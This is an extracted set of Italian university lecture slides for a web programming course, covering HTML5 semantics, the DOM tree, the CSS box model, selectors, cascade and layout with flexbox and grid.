Andrea De Lorenzo, University of Trieste
Fondamenti di Informatica
Progettazione del software e dei sistemi informativi
meta learning, applied ML, process mining
Reti di calcolatori
Computer networks 2 and introduction to cybersecurity
security, applied ML, evolutionary computation
Basi di dati
Programmazione web
security, applied AI&ML, information retrieval, GP
Programmazione avanzata
Introduction to machine learning and evolutionary robotics
evolutionary computation, embodied AI, applied ML
Cyber-physical systems
Introduction to Artificial Intelligence
formal methods, runtime verification
Reti di calcolatori
Sistemi operativi
Architetture dei sistemi digitali
network measurements, data privacy, big data
Giorno | Orario | Aula |
---|---|---|
Martedì | 11:00 - 12:30 | Aula Verde - Edif. C5 |
Giovedì | 14:00 - 15:30 | Aula Verde - Edif. C5 |
Venerdì | 9:30 - 11:00 | Aula Verde - Edif. C5 |
Canale Telegram
Qualche numero:
Principi, metodi e tecniche di programmazione del web
Corso pratico, molte tecnologie:
In pratica: come creare un'applicazione web
Useremo solo prodotti disponibili online, gratis:
Libri di Programmazione:
Libri di Design:
Alcuni dettagli:
ATTENZIONE!!
Le tecnologie che vedremo
Scopo finale: insegnare a pescare, piuttosto che dare il pesce.
Valutate sempre:
Linguaggio usato per descrivere il contenuto e la struttura dell'informazione di un documento web
Non descrive la presentazione dell'informazione!
pagina web = documento web
molto più complicata, in realtà
Importanti novità:
<!DOCTYPE html>
)
<article>
,
<section>
, <nav>
,
<aside>
<audio>
,
<video>
Approfondimento ufficiale sulle differenze
Per garantire la retro compatibilità, alcune cose possono essere permesse agli interpreti HTML, ma non agli autori
<!DOCTYPE html>
<html>
<head>
<title>Hello HTML</title>
</head>
<body>
<p>
Ciao <a href="http://www.units.it">UniTs</a>!<br/>
Stiamo imparando!
</p>
</body>
</html>
<title>Hello HTML</title>
→
elemento
<title>
→ start tag
Hello HTML
→ contenuto</title>
→ end tag
<a href="http://www.units.it">UniTs</a>
href="http://www.units.it"
→ attributo
href
→ nome attributohttp://www.units.it
→ valore attributo
<img src="cane-bianco.png"/>
<br/>
<input type="checkbox" checked/>
<!--...-->
:
<!--questo non lo vede nessuno-->
<head>
→ header, informazioni
aggiuntive sul documento
<body>
→ contenuto informativo documento
<title>
→ titolo del documento<meta name="..." content="...">
name="author"
→ autore del documento
name="description"
→ descrizione del
documento
name="keywords"
→ parole chiave del
documento ("...,...,..."
)
Browser: HTML → DOM tree → rappresentazione su schermo
Rappresentazione ad albero del documento, in memoria
Alternative allo schermo:
Diversi livelli di correttezza:
Gli elementi possono essere annidati ma non sovrapposti
<p>Esempio <strong>corretto</strong></p>
→ corretto
<p>Esempio <strong>corretto</p></strong>
→ errato
Valore degli attributi tra virgolette se contengono spazi
<img src="cane-bianco.png" alt="Cane bianco"/>
→ corretto
<img src=cane-bianco.png alt="Cane bianco"/>
→ corretto
<img src="cane-bianco.png" alt=Cane bianco/>
→ errato
Per non sbagliare, mettiamo sempre le virgolette!
Caratteri speciali con un nome:
↓
→
down arrow (↓)
ℚ
→ razionali
(ℚ)
Regole:
&s
se s è
il nome di uno dei caratteri
Sono molte di più!
Come fare?
La specifica = IL manuale = la bibbia:
HTML5 W3C Recommendation,
https://html.spec.whatwg.org/multipage/
Cosa contiene?
Anche come introduzione all'HTML
Esempio: start tag? end tag? />
?
The start and end tags of certain normal elements can be omitted, as described later
complicato, meglio mettere sempre l'end tag
Altro esempio: <em>
... il docente conosce il W3C Validator
Stile → de gustibus?
Usabilità
non riguardano solo l'HTML (HTML ≠ rappresentazione)
<!-- -->
→ defines a comment<!DOCTYPE>
→ defines the document type
<a>
→ defines a hyperlink<abbr>
→ defines an abbreviation<address>
→ defines an address element
Elenco completo:
Tag | Description |
---|---|
<!--...--> | Defines a comment |
<!DOCTYPE> | Defines the document type |
<a> | Defines a hyperlink |
<abbr> | Defines an abbreviation or an acronym |
<acronym> |
Not supported in HTML5. Use
<abbr>
instead. Defines an acronym |
<address> | Defines contact information for the author/owner of a document |
<applet> |
Not supported in HTML5. Use
<embed> or
<object>
instead. Defines an embedded applet |
<area> | Defines an area inside an image-map |
<article> | Defines an article |
<aside> | Defines content aside from the page content |
<audio> | Defines sound content |
<b> | Defines bold text |
<base> | Specifies the base URL/target for all relative URLs in a document |
<basefont> |
Not supported in HTML5. Use CSS instead. Specifies a default color, size, and font for all text in a document |
<bdi> | Isolates a part of text that might be formatted in a different direction from other text outside it |
<bdo> | Overrides the current text direction |
<big> |
Not supported in HTML5. Use CSS instead. Defines big text |
<blockquote> | Defines a section that is quoted from another source |
<body> | Defines the document's body |
<br> | Defines a single line break |
<button> | Defines a clickable button |
<canvas> | Used to draw graphics, on the fly, via scripting (usually JavaScript) |
<caption> | Defines a table caption |
<center> |
Not supported in HTML5. Use CSS instead. Defines centered text |
<cite> | Defines the title of a work |
<code> | Defines a piece of computer code |
<col> | Specifies column properties for each column within a <colgroup> element |
article
→ un pezzo di contenuto indipendente;
se annidiati, quello interno è legato all'esterno (es: post di
un blog e suoi commenti).
section
→ un raggruppamento di contenuti parte
di un contenuto più ampio, tipicamente con un titolo
nav
→ sezione con i link di navigazioneaside
→ un pezzo di contenuto ortogonale al
suo contesto (es: note, messaggi twitter, ecc.)
h1
, ..., h6
→ titoli
(headings) (⚠ non usare per sottotitoli o tagline!)
header
→ contenuto introduttivo (es: titolo e
navigazione)
footer
→ per informazioni legate alla sezione
(es: autore, link aggiuntivi, copyright, ecc.)
address
→ informazioni di contatto (⚠
non generici indirizzi)
h1
è più grande di quello di
h2
?
section
è più grande di
quello dopo un article
?
address
?Male, non dovreste chiedervelo!
Linguaggio usato per descrivere il contenuto e la struttura dell'informazione di un documento web
Non la rappresentazione!
<h2>Le mie memorie</h2>
<p>
Non me le ricordo più...
</p>
p
→ paragrafohr
→ cambio di argomento (non necessario tra
sezioni)
pre
→ testo preformattatoblockquote
→ citazione esternamain
→ contenuto principale della pagina, non
ripetuto nel sito. ⚠ uno per pagina!
<h3>Ingredienti</h3> <ul> <li>pesto alla siciliana</li> <li>fusilli</li> <li>formaggio grattugiato</li> </ul> <h3>Preparazione</h3> <ol> <li>cucinare la pasta</li> <li>aggiungere il pesto</li> <li>guarnire con formaggio a piacere</li> </ol>
ul
→ unordered listol
→ ordered listli
→ list item⚠ non vanno inseriti nei paragrafi!
CR+LF
≠ nuova lineabr
→ line break, fa parte del contenuto
br
elements must be used only for line breaks that are actually part of the content, as in poems or addresses.
must be used
? → correttezza semantica (HTML)
em
→ il contenuto dell'elemento merita enfasi
strong
→ il contenuto è importantemark
→ testo evidenziato per riferimento (es:
testo cercato)
s
→ il contenuto è un pezzo non più accurato o
rilevante
sub
e sup
→ testo in pedice e
apice
i
→ lettura diversa (es: altra lingua, termine
tecnico, ecc.)
u
→ testo con annotazione non testuale (es:
volutamente errato)
Authors are encouraged to avoid using the u element where it could be confused for a hyperlink.
b
→ richiamare l'attenzione
The b element should be used as a last resort when no other element is more appropriate.
code
→ il contenuto è un pezzo di codice
sorgente
samp
→ output prodotto dal codicevar
→ una variabilekbd
→ input da tastiera... circasamp
→ il tasto è stato premuto
dall'utente e mostrato a schermo
samp
→ è stato selezionato
un menù
kbd
→ combinazione di tasti
kbd
Please press
Ctrl + Shift + R
to re-render a page.
Please press Ctrl + Shift + R to re-render a page.
samp
in kbd
To create a new file, choose the menu option
File⇒New Document
.
Don't forget to click the OK button
to confirm once you've entered the name of the new file.
To create a new file, choose the menu option File⇒New Document.
Don't forget to click the OK button to confirm once you've entered the name of the new file.
Vado all'<a href="http://www.units.it">università</a>
a
→ link (anchor) ad un altro documento
href=""
→ ubicazione dell'altro documento
href="udine.html"
href="http://www.units.it"
href="#persone"
href="mailto:andrea.delorenzo@units.it"
link
è un'altra cosa
<img src="cane-bianco.jpg" alt="Il cane bianco"/>
src
→ ubicazione della risorsa immaginealt
→ fallback content:
content that is to be used when the external resource cannot be used
alt
alt
è obbligatorio?
Except where otherwise specified, the
alt
attribute must be specified and its value must not be empty; the value must be an appropriate replacement for the image.One way to think of alternative text is to think about how you would read the page containing the image to someone over the phone, without mentioning that there is an image present.
In some cases, the icon is supplemental to a text label conveying the same meaning. In those cases, the
alt
attribute must be present but must be empty.[...] In such cases, the
alt
attribute may be omitted, but one of the following conditions must be met [...]
"Quasi" obbligatorio metterlo, ma può essere alt=""
<table>
<caption>Orari della Linea 36</caption>
<thead>
<tr><th>Ora</th><th>Minuto</th></tr>
</thead>
<tbody>
<tr><td>8</td><td>00 15 30 45</td></tr>
<tr><td>9</td><td>15 45</td></tr>
</tbody>
</table>
caption
→ titolo, intestazionethead
; tfoot
→ etichette delle
colonne; totali, ecc... (header, footer)
tbody
→ corpo (con i valori)tr
→ riga (table row)td, th
→ cella (table data/header cell)
Non si usano per formattare!
Tables must not be used as layout aids. Historically, some Web authors have misused tables in HTML as a way to control their page layout. This usage is non-conforming, because tools attempting to extract tabular data from such documents would obtain very confusing results. In particular, users of accessibility tools like screen readers are likely to find it very difficult to navigate pages with tables used for layout.
There are a variety of alternatives to using HTML tables for layout, primarily using CSS positioning and the CSS table model.
div
e span
The
div
element has no special meaning at all. It represents its children. It can be used with theclass
,lang
, andtitle
attributes to mark up semantics common to a group of consecutive elements.
→ a livello di BLOCCO
The
span
element doesn't mean anything on its own, but can be useful when used together with the global attributes, e.g.class
,lang
, ordir
. It represents its children.
→ all'interno di una linea di testo
div
: esempio<article lang="en-US"> <h1>My use of language and my cats</h1> <p>My cat's behavior hasn't changed much since her absence, except that she plays her new physique to the neighbors regularly, in an attempt to get pets.</p> <div lang="en-GB"> <p>My other cat, coloured black and white, is a sweetie. He followed us to the pool today, walking down the pavement with us. Yesterday he apparently visited our neighbours. I wonder if he recognises that their flat is a mirror image of ours.</p> <p>Hm, I just noticed that in the last paragraph I used British English. But I'm supposed to write in American English. So I shouldn't say "pavement" or "flat" or "colour"...</p> </div> <p>I should say "sidewalk" and "apartment" and "color"!</p> </article>
span
: esempio<code class="lang-c"><span class="keyword">for</span> (<span class="ident">j</span> = 0; <span class="ident">j</span> < 256; <span class="ident">j</span>++) { <span class="ident">i_t3</span> = (<span class="ident">i_t3</span> & 0x1ffff) | (<span class="ident">j</span> << 17); <span class="ident">i_t6</span> = (((((((<span class="ident">i_t3</span> >> 3) ^ <span class="ident">i_t3</span>) >> 1) ^ <span class="ident">i_t3</span>) >> 8) ^ <span class="ident">i_t3</span>) >> 5) & 0xff; <span class="keyword">if</span> (<span class="ident">i_t6</span> == <span class="ident">i_t1</span>) <span class="keyword">break</span>; }</code>
for (j = 0; j < 256; j++) {
i_t3 = (i_t3 & 0x1ffff) | (j << 17);
i_t6 = (((((((i_t3 >> 3) ^ i_t3) >> 1) ^ i_t3) >> 8) ^ i_t3) >> 5) & 0xff;
if (i_t6 == i_t1)
break;
}
id
id
→ identificatore univoco
<section id="abstract">
Può essere usato per:
<a href="#abstract">
Identifiers are opaque strings. Particular meanings should not be derived from the value of the id attribute.
title
title
→ indicazione descrittiva
<a href="udine.html" title="Scheda della città dei
vicini">Udine</a>
<abbr title="Cascading Style
Sheet">CSS</abbr>
Advisory information for the element, such as would be appropriate for a tooltip.
lang
e translate
lang
→ lingua principale del contenuto
<p lang="it">L'inglese è difficile da pronunciare:
ad es. la parola <span lang="en-UK">Wednesdey</span>.</p>
<p lang="de"><span lang="en-UK">Wednesdey</span>
ist ein schwieriges Wort auszusprechen.</p>
translate
→ localizzare o meno questo contenuto
Valori enumerati:
yes
no
Es: frammenti di codice, input da tastiera, menù, etc.
class
Valore: un set di nomi separati da spazi:
<span class="keyword importante">if</span>
Authors are encouraged to use values that describe the nature of the content, rather than values that describe the desired presentation of the content
correttezza semantica (HTML)
data-*
<section data-dog-weight="12.8kg" data-dog-speed="75%">
<h1>Cane bianco</h1>
<p>Il cane bianco è tozzo ma veloce.</p>
</section>
data-
è il nome del
custom attribute
dir
e style
dir
→ direzione del testo
style
→ aspetto dell'elemento, vedremo poi
<header> | |
<nav> | |
<section> | <aside> |
<article> | |
<footer> |
article
in section
o il contrario?The article
element specifies independent, self-contained content.
The section
element defines section in a document.
Possiamo usare la definizione per capire come annidare questi elementi? No.
In alcune pagine HTML section
conterrà article
e in altre article
conterrà section
Scrivere un documento (solo) HTML sulla propria città o quartiere.
Contenuto (item):
Valuteremo la correttezza sintattica, semantica e stilistica del documento HTML
Regole:
aside
, i
, em
,
strong
, nav
, lang
,
li
Scegliete voi, io suggerisco
Pacchetti consigliati:
Estensioni consigliate:
Linguaggio usato per descrivere il contenuto e la struttura dell'informazione di un documento web
Il browser visualizza il documento:
come lo disegna sullo schermo?
Come?
HTML
<!DOCTYPE html>
<html>
<head>
<title>Sample page</title>
</head>
<body>
<h1>Sample page</h1>
<p>This is a <a href="demo.html">simple</a> sample.</p>
<!-- this is a comment -->
</body>
</html>
DOM tree:
html
html
head
#text
: ⏎␣␣title
#text
: Sample page#text
: ⏎␣#text
: ⏎␣body
#text
: ⏎␣␣h1
#text
: Sample page#text
: ⏎␣␣p
#text
: This is a a
href
="demo.html
"
#text
: simple#text
: sample.#text
: ⏎␣␣#comment
: this is a comment #text
: ⏎␣⏎Consideriamo il sottoalbero del nodo body
(alcuni #text
omessi):
body
h1
#text
: Sample pagep
#text
: This is a a
href
="demo.html
"
#text
: simple#text
: sample.#comment
: this is a comment body
è parent del nodo h1
p
, #comment
, ... sono sibling del nodo h1
h1
, p
, ... sono children del nodo body
a
, h1
, p
, ... sono descendant del nodo body
body
, p
, h1
, a
sono elementi#text
sono testo (non hanno children!)Per ogni nodo del DOM tree:
lettura del documento: "disegnato" → "pronunciato", "dove" → "quando"
Immaginate di essere il browser, o di dover scrivere il codice del programma browser...
Obiettivo: DOM tree → boxes tree
Principali regole della trasformazione:
Un elemento viene disegnato se e solo se sono valide tutte le condizioni:
Premessa: tipi di box
Cosa possono contenere:
strong
)A grandissime linee:
block-level box consecutivi vengono messi uno sotto l'altro dentro il parent block-level box
Cerca di riempire tutto lo spazio orizzontale disponibile
inline-level consecutivi vengono messi uno accanto all'altro dentro il parent line-level box
Occupa solo lo spazio strettamente necessario
"consecutivi" → si segue l'ordine del DOM tree
Lista non completa:
p
table
nav
div
form
main
, article
, section
h1
, h2
, ...Lista non completa:
a
span
em
strong
input
, button
, textarea
img
E che elementi generano Line Boxes?
Sono generati in automatico!
The rectangular area that contains the boxes that form a line is called a line box.
When several inline-level boxes cannot fit horizontally within a single line box, they are distributed among two or more vertically-stacked line boxes. Thus, a paragraph is a vertical stack of line boxes.
When an inline box exceeds the width of a line box, it is split into several boxes and these boxes are distributed across several line boxes. If an inline box cannot be split (e.g., if the inline box contains a single character, or language specific word breaking rules disallow a break within the inline box, or if the inline box is affected by a white-space value of nowrap or pre), then the inline box overflows the line box.
Ci manca qualcosa:
"tipo di box", "margin", ... → style properties dei box
Un documento che specifica quali valori dare alle proprietà di quali elementi
Un documento che specifica quali valori dare alle proprietà di quali elementi
"all'elemento di tipo p
deve corrispondere un box di tipo block-level con un margine di 1cm"
Ma il browser visualizza comunque la mia pagina, senza che io gli abbia fornito un CSS!
↓
regole implicite
The CSS rules given in these subsections are, except where otherwise specified, expected to be used as part of the user-agent level style sheet defaults for all documents that contain HTML elements.
Nella specifica, segue un CSS
You don't need to be a programmer or a CS major to understand the CSS specifications. You don't need to be over 18 or have a Bachelor's degree. You just need to be very pedantic, very persistent, and very thorough.
Meno semplice rispetto all'HTML: la specifica è modulare
As the popularity of CSS grows, so does interest in making additions to the specification. Rather than attempting to shove dozens of updates into a single monolithic specification, it will be much easier and more efficient to be able to update individual pieces of the specification. Modules will enable CSS to be updated in a more timely and precise fashion, thus allowing for a more flexible and timely evolution of the specification as a whole.
For resource constrained devices, it may be impractical to support all of CSS. For example, an aural browser may be concerned only with aural styles, whereas a visual browser may care nothing for aural styles. In such cases, a user agent may implement a subset of CSS. Subsets of CSS are limited to combining selected CSS modules, and once a module has been chosen, all of its features must be supported.
Una lista ordinata di regole (rules)
non si applica solo ai documenti HTML
selector { property-name: property-value; property-name: property-value; ... } selector { /* commento */ property-name: property-value; property-name: property-value; ... } /* commento */
La specifica dice:
@
:
@charset
@import
@namespace
@media
@viewport
Ma ne parleremo poi...
Attenzione: se la sintassi di una regola non è corretta, il browser deve ignorare tutta la regola!
"deve ignorare" = "la specifica raccomanda che il browser ignori" → il browser potrebbe non ignorare...
diverso da quanto accade per l'HTML
Tre livelli di correttezza:
esiste il validatore per i CSS
Chi stabilisce lo stile?
Dove specifico che voglio usare certe regole per un certo documento HTML d? Tre metodi:
<link rel="stylesheet" type="text/css" href="...">
style
:
<style>...</style>
style
dell'elemento a cui voglio applicare la regola (il selector non serve!):<p style="...">
@import
La regola @import
permette di importare in un codice CSS altri fogli di stile
@charset
Es: importazione di Google Web Font
<link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet" >
font-family: 'Roboto', sans-serif;
Si possono usare tutti i metodi assieme → vengono applicate tutte!
<link ...>
)
link
serve anche per altre cose
Se una proprietà P non è definita per un elemento E, l'elemento eredita il valore di P del suo parent (parent di E)
Inheritance → cascading style sheet
Come calcolo il valore di ogni proprietà?
Sei valori per ogni proprietà...
Esempi:
Dichiarato | Ereditato | Specificato | Calcolato | Usato | Finale |
---|---|---|---|---|---|
text-align: left | left | left | left | left | left |
width: (none) | (none) | auto | auto | 120px | 120px |
font-size: 1.2em | 1.2em | 1.2em | 14.1px | 14.1px | 14px |
width: 80% | 80% | 80% | 80% | 354.2px | 354px |
em
è la dimensione del font →
2em
= 2 volte la dimensione del font.
Se più regole sono in conflitto?
style="..."
, più importante)<style>
)<link>
)!important
CSS attempts to create a balance of power between author and user style sheets. By default, rules in an author’s style sheet override those in a user’s style sheet.
!important
cambia la priorità:
Esempio:
{ background-color: lightgrey !important; }
!important
!important
risolve il problema!important
.button {
background-color: #8c8c8c;
color: white;
padding: 5px;
border: 1px solid black;
}
#myDiv a {
color: red;
background-color: yellow;
}
.button {
background-color: #8c8c8c !important;
color: white !important;
padding: 5px !important;
border: 1px solid black !important;
}
#myDiv a {
color: red;
background-color: yellow;
}
Alcune parole chiave permettono di forzare alcuni comportamenti:
initial
→ valore predefinitoinherit
→ ottenuto dagli ancestorunset
, revert
)Espressione che applicata ad un elemento restituisce un booleano
fselector(E) ∈ {true, false}
La specifica descrive tutte le possibili funzioni f
*
→ qualsiasi elemento (f*
(E) = true, ∀ E)e
→ gli elementi di tipo <e>
f e
→ gli elementi di tipo <e>
descendant di elementi di tipo <f>
e.className
→ gli elementi di tipo <e>
di classe "className"e#idName
→ gli elementi di tipo <e>
che hanno il valore dell'attributo id uguale a "idName"descendant ≠ child
<img class="photo old" src="..."/>
è selezionato sia da img.photo
che da img.old
I selectors si possono "combinare":
e.c1 f
→ un <f>
descendant di un <e>
con classe "c1"e f g
→ un <g>
descendant di un <f>
descendant di un <e>
e *
→ tutti i descendant di un <e>
Il selettore universale * si può omettere in certi casi:
*.c1
=.c1
→ un elemento qualsiasi con classe "c1"*#id1
=#id1
→ un elemento qualsiasi con id "id1"e > f
→ un <f>
child di un <e>
e + f
→ un <f>
inserito subito dopo un suo sibling <e>
e ~ f
→ un <f>
inserito dopo un suo sibling <e>
e[a]
→ un <e>
con un attributo ae[a="val"]
→ un <e>
con un attributo a uguale "val"e[a~="val"]
→ un <e>
con a="v1 v2 v3 ... val ..." (valori separati da spazi)e[a^="val"]
→ un <e>
con a="valtuttoilresto"e[a$="val"]
→ un <e>
con a="tuttoilrestoval"e[a*="val"]
→ un <e>
con a="qualcosavalqualcosa"e[a|="val"]
→ un <e>
con a="val-v2-v3" (valori separati da "-")
f[lang|="en"]
(<p lang="en-US">
) = f[lang|="en"]
(<p lang="en-UK">
) = true
Pseudoclassi: classi non esplicitamente definite, ma corrispondenti a elementi presenti nell'HTML
e:nth-child(n)
, e:nth-last-child(n)
→ un <e>
n-simo (n-esimo dal basso) figlio del suo parente:nth-of-type(n)
, e:nth-last-of-type(n)
→ un <e>
n-simo (n-ultimo) figlio del suo padre tra i figli di tipo <e>
e:first-child
, e:last-child
, e:first-of-type
, e:last-of-type
e:only-child
, e:only-of-type
→ un <e>
figlio unico (senza sibling di tipo e)e:root
→ un <e>
root del documentoe:empty
→ un <e>
senza figli, nemmeno testonth-child
: dettaglioe:nth-child(n)
: n
può essere un'espressione un po' più complessa:
e:nth-child(3)
→ il terzo figlioe:nth-child(even)
= e:nth-child(2n)
→ figli parie:nth-child(odd)
= e:nth-child(2n+1)
→ figli disparie:nth-child(5n+2)
→ il 2°, 7°, 12°, ... figlioe:visited
, e:link
→ un <e>
che è un'ancora ad un documento visitato (non visitato)e:active
, e:hover
, e:focus
→ un <e>
in certi stati relativi all'interazione con
l'utentee:enabled
, e:disabled
, e:checked
→ un <e>
che fa parte della UI che si trova in certi statie:lang(en)
→ un <e>
con contenuto in lingua inglesee:target
→ un <e>
che è stato selezionato con un anchor (URL#anchor)
http://units.it/bandi.html#scaduti → <section id="scaduti">
è :target
Pseudoelementi: elementi non esplicitamente definiti, quindi generati
e::first-line
→ un elemento fittizio contenente la prima linea di testo di un <e>
e::first-letter
→ un elemento fittizio contenente la prima lettera di un <e>
e::before
, e::after
→ un elemento fittizio che precede (succede) un <e>
suo sibling
content
<p>Nel mezzo di cammin di nostra vita</p>
↓
<p><span::first-letter>N</span>el mezzo di cammin di nostra vita</p>
e:not(selector)
→ un <e>
a cui non si applica il selector (solo selectors non combinati, div > div
non va bene).
p:not(:first-child)
→ tutti i p
che non siano i primi figli del loro parent
:has()
The :has()
CSS pseudo-class represents an element if any of the selectors passed as parameters match at least one element.
e:has(selector)
→ un <e>
che sia parent di un elemento a cui si applica il selectore:has(f):has(g)
oppure e:has(f, g)
Il supporto è limitato a alcuni browser
Ricordate? È uno degli elementi per risolvere l'ereditarietà.
Si genera un "numero" composto da tre cifre, ottenute contando nel selettore:
Più grande il numero, più grande la specificità.
Ottimo esempio basato su Star Wars.
tr:nth-child(even) {
background-color: #8be9fd; /* vedremo... */
}
1 | 2 | 3 | 4 |
5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 |
p::first-letter {
font-size: 200%; /* vedremo ... */
color: #8be9fd; /* pure questo ... */
}
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc tristique velit eget neque ornare, vitae luctus magna mollis. Donec arcu ligula, tristique et porttitor nec, feugiat et tortor. Suspendisse vel nisi a mauris consectetur hendrerit. Fusce congue leo est, et suscipit massa venenatis vitae. Sed nec molestie nibh. Sed purus tortor, molestie sed justo non, iaculis ultricies orci. Nullam quis quam justo. Nunc finibus aliquet tincidunt. Nunc mattis metus at arcu tristique semper. Vivamus iaculis lacus porttitor, pretium leo tincidunt, euismod nisi. Morbi sodales pharetra ante in congue. Aenean sed erat dui. Aenean eget elementum metus.
figure:has(figcaption) img {
outline: 10px dashed #8be9fd;
}
Ne vedremo solo alcune...
color
→ colore del testobackground-color
→ colore dello sfondoborder-color
→ colore del bordoValori:
background-color
→ colore dello sfondobackground-image
→ immagine di sfondobackground-repeat
→ come ripetere l'immaginebackground-attachement
→ come muovere l'immagine in caso di scrollingbackground-position
→ dove mettere l'immaginebackground
→ tutto insieme (c.d. Shorthand)Esempio:
body {
background-image: url('img_tree.png');
background-repeat: no-repeat;
background-position: right top;
}
font-family
→ quale fontfont-size
→ dimensionefont-weight
→ peso (più o meno "grosso")font-variant
→ variante (normale, maiuscoletto)font-style
→ stile (normale, italico, obliquo)font
→ tutto insiemeEsempio:
h1 {
font-family: Helvetica, Verdana, sans-serif;
font-weight: bold;
font-size: x-large;
}
font-family: Helvetica, Verdana, sans-serif
→ viene scelto il primo disponibile
font-family
e @font-face
L'autore vuole usare un font specifico, ma non si sa se l'utente ce l'ha:
font-family: "Font Fighetto di Design", sans-serif;
↓
@font-face
definisce un font
@font-face {
font-family: 'Ubuntu';
src: local('Ubuntu'),
local('Ubuntu-Regular'),
url('http://themes.googleusercontent.com/font?kit=2Q-AW1e_taO6pHwMXcXW5w') format('truetype');
}
h1 { font: "Ubuntu" 10px;}
@font-face
è una at-rule
font-size
font-size:
absolute-size | relative-size | length | percentage | inherit
Esempi:
font-size: medium;
font-size: large;
font-size: 115%;
font-size: larger;
font-size: 10px;
font-size: 0.75cm;
Alcune proprietà accettano un valore di tipo length
Unità di misura assolute:
in → inches; 1 inch is equal to 2.54 centimeters
cm → centimeters
mm → millimeters
pt → points; 1pt is equal to 1/72 inch
pc → picas; 1 pica is equal to 12 points
Come fa il browser a sapere quanti pixel fanno un cm?
Unità di misura relative:
em → the font size of the element (or, to the parent element's font size if set on the 'font-size' property)
ex → the x-height of the element's font
px → viewing device
gd → the grid defined by 'layout-grid' described in the CSS3 Text module
rem → the font size of the root element
vw → the viewport's width
vh → the viewport's height
vm → the viewport's height or width, whichever is smaller of the two
ch → The width of the "0" glyph found in the font for the font size used to render
line-height
letter-spacing
text-align
text-decoration
text-indent
text-transform
vertical-align
Esempio (di più):
.draft span.note {
text-transform: uppercase;
}
.draft span.old-version {
text-decoration: overline;
}
Si comportano come variabili
counter-reset: nomeContatore;
counter-increment: nomeContatore;
content
Esempio:
body {
counter-reset: contaSezione;
}
h2::before {
counter-increment: contaSezione;
content: "Sezione " counter(contaSezione) ": ";
}
Definisce come verrà realizzato il box
Ci sono tre valori possibili
Varie opzioni:
display
Riassume in un unico valore come impostare Inner/Outer Display Type
In sintesi, determina il tipo di box che verrà generato
display: inline
→ inline flow → inline-level boxdisplay: block
→ block flow → block-level boxdisplay: none
→ non genera boxdisplay: inline-block
→ inline flow-root → vedremo poidisplay: flex
→ block flex → vedremo poidisplay
influisce pesantemente sulla rappresentazione di un documento!
visibility: visible
→ disegnavisibility: hidden
→ non disegnareAttenzione:
visibility: hidden
→ il box occupa lo spazio previsto ma non si vededisplay: none
→ il box non c'èSi usano width
e height
:
max-width
Basta sapere width
e height
per calcolare lo spazio occupato?
NO!
Fanno riferimento al contenuto, occorre conoscere margin e padding
Ma posso imbrogliare:
box-sizing: border-box;
→ padding e bordi rientrano nella misura
Hint: valutate se inserirlo in un blocco * { }
Come posso spostare il box?
Proprietà position
:
static
→ default, segue il normale flusso; non è affetto da top/bottom/right/left e formalmente non è posizionatorelative
→ vanno usate proprietà extra (top, right, bottom o left)
position: relative; top: -20px; left: 20px;
fa sovrapporre il secondo blocco al primo
Come posso spostare il box?
Proprietà position
:
fixed
→ posizionato in base alla finestra del browser
absolute
→ si comporta come fixed
ma riferito al più vicino elemento di livello superiore posizionato
<HTML>
Esempio:
nav {
position: absolute;
left: 0px;
width: 200px;
}
section {
/* position is static by default */
margin-left: 200px;
}
footer {
position: fixed;
bottom: 0;
left: 0;
height: 70px;
background-color: white;
width: 100%;
}
Un floating box viene spostato nella linea a destra o a sinistra finché non sbatte contro il bordo del suo parent box
Il resto del contenuto scorre a fianco; i line box vengono accorciati
float: left
, float: right
→ è floatfloat: none
→ non è float (default)Es: style="float: left; width: 200px;height: 100px;margin: 1em;"
Un floating box può essere più alto del contaning box; anche le righe del successivo block-level box vengono accorciate se necessario... come evitarlo?
clear
clear: left
, clear: right
, clear: both
→ non affiancare a floating box a sinistra e/o destraclear: none
→ permetti di affiancare.clearfix {
overflow: auto;
zoom: 1; /* per IE6 */
}
float
e clear
: esempiop {clear: left;}
img {float: left;}
In che punto del documento HTML è inserita l'immagine?
Voglio creare una griglia di box che riempia tutta la larghezza del browser: posso farlo con
float: left
→ scomodo, devo applicare clear
al blocco successivodisplay: inline-block
(qualche problema con IE6 e IE7)Ed io non necessito di alcuna pulizia!
column
mi permette di incolonnare il testo
.three-column {
padding: 1em;
column-count: 3;
column-gap: 1em;
}
display: flex;
arriva con CSS3 → non tutti i browser si comportano bene
Ha svariate proprietà, raggruppabili per applicabilità:
Vi lascio una guida visuale
flex-direction
: row | row-reverse | column | column-reverse
flex-direction
: row | row-reverse | column | column-reverse
flex-wrap
: nowrap (default) | wrap | wrap-reverse (bottom-top)
flex-direction
: row | row-reverse | column | column-reverse
flex-wrap
: nowrap (default) | wrap | wrap-reverse (bottom-top)justify-content
: flex-start | flex-end | center | space-between | space-around | space-evenly
flex-direction
: row | row-reverse | column | column-reverseflex-wrap
: nowrap (default) | wrap | wrap-reverse (bottom-top)justify-content
: flex-start | flex-end | center | space-between | space-around | space-evenlyalign-items
: flex-start | flex-end | center | baseline | stretch (allinea una riga del flex)align-content
: flex-start | flex-end | center | space-between | space-around | stretch (allinea multi righe)order
: <integer> → riordina il contenutoflex
: <integer> → come spartirsi lo spazio
align-self
: sovrascrive quello del containerBanalmente: facciamo in modo che il nostro sito funzioni bene su ogni dispositivo.
La ViewPort è l'area della pagina visibile all'utente.
I browser di smartphone & tablet rimpiccioliscono in automatico la pagina per farla stare nello schermo: evitiamo
<meta name="viewport" content="width=device-width, initial-scale=1.0">
Si può fare in modo che alcune regole siano applicate solo a certi media (o media con certe caratteristiche):
link
:
<link ... media="screen" href="css1.css"> <link ... media="print,tty" href="css2.css">
@media
:
@media print { /* style sheet for print goes here */ }
Alcuni media: screen, print, handheld, braille, speech, tty, ...
Vogliamo un layout di questo tipo:
Come posso passare tra i tre layout o fare il terzo?
Slides ispirate dalla presentazione di Morten Rand-Hendriksen
Terminologia
display: grid;
Terminologia
display: grid;
Come si usa?
That's it!
Definire la griglia:
display: grid;
grid-template-columns
e grid-template-rows
: disegnano le righe;
ricevono una lista di valori che identificano le distanze tra le righe.
Unità di misura: em, px, %, fr (frazioni), auto (si adatta al contenuto).
main{
display: grid;
grid-template-columns: 2fr 1fr 1fr;
}
Finito! I grid items si dispongono all'interno (top-bottom, left-right).
Prendere più celle
grid-column: x/y;
→ dalla riga verticale X alla Ygrid-row: x/y;
